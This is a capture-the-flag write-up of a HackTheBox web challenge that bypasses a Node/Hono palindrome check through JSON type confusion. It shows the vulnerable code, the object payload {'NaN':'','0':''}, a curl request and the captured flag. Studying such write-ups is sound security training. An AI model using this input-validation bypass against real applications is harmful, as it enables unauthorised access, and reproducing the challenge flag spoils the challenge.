pwneglyph logo
web web-server nodejs hono type-confusion json-type-confusion javascript-quirks nan undefined-comparison logic-bug input-validation-bypass

The checker rejects strings shorter than 1000 and compares string[i] vs string[len-i-1]. Send palindrome as an object {'NaN':'','0':''} so obj.length is undefined (undefined<1000 is false, passing the length gate), Array(undefined).keys() yields one i=0, and obj[0] === obj[NaN] === '' (both strings) — every check passes and the flag prints, all under nginx's 75-byte body cap.

Magical Palindrome — JSON object defeats a JS palindrome check

Platform: HackTheBox · Category: Web (server-side) · Stack: Node (Hono) behind nginx

Challenge overview

POST a palindrome and, if it's a "valid" palindrome of length ≥ 1000, the server returns the flag:

const IsPalinDrome = (string) => {
    if (string.length < 1000) return 'Tootus Shortus';
    for (const i of Array(string.length).keys()) {
        const original = string[i];
        const reverse  = string[string.length - i - 1];
        if (original !== reverse || typeof original !== 'string') return 'Notter Palindromer!!';
    }
    return null;   // valid -> flag
};
app.post('/', async (c) => {
    const {palindrome} = await c.req.json();
    return IsPalinDrome(palindrome) ? c.text(error,400) : c.text(`Hii Harry!!! ${flag}`);
});

nginx caps the request body at 75 bytes (client_max_body_size 75), so we can't actually send 1000 real characters. The input is JSON with no type check — so send an object, not a string.

The exploit — {"palindrome":{"NaN":"","0":""}}

Walk the checker with string = {"NaN":"", "0":""}:

  • string.length is undefined. undefined < 1000 is false, so the length gate is passed.
  • Array(string.length).keys() = Array(undefined).keys() → a one-element iterator yielding i = 0.
  • Iteration i = 0:
    • original = string[0] = obj["0"] = "".
    • reverse = string[string.length - 0 - 1] = string[undefined - 1] = string[NaN] = obj["NaN"] = "".
    • original !== reverse"" !== "" → false; typeof original !== 'string'typeof "" === 'string' → false.
  • No early return → returns nullflag.
curl -s http://target/ -H 'Content-Type: application/json' \
     --data-raw '{"palindrome":{"NaN":"","0":""}}'
# Hii Harry!!! HTB{Lum0s_M@x!ma}

Flag: HTB{Lum0s_M@x!ma}

Takeaways (generalized techniques)

  • Untyped JSON → pass an object where a string is expected. obj.length is undefined, and almost every numeric comparison against undefined/NaN is false, so length/size guards silently pass.
  • Array(undefined) has length 1, so an index loop runs exactly once — and you fully control which keys ("0", "NaN") the body reads via bracket access. Craft the object so the single comparison is trivially satisfied.
  • Body-size limits don't help when the check is logically bypassable: the object payload is tiny, so nginx's client_max_body_size is irrelevant once you stop sending an actual long string.

Sources & references

  • Challenge source: hackthebox/web/magical_palindrome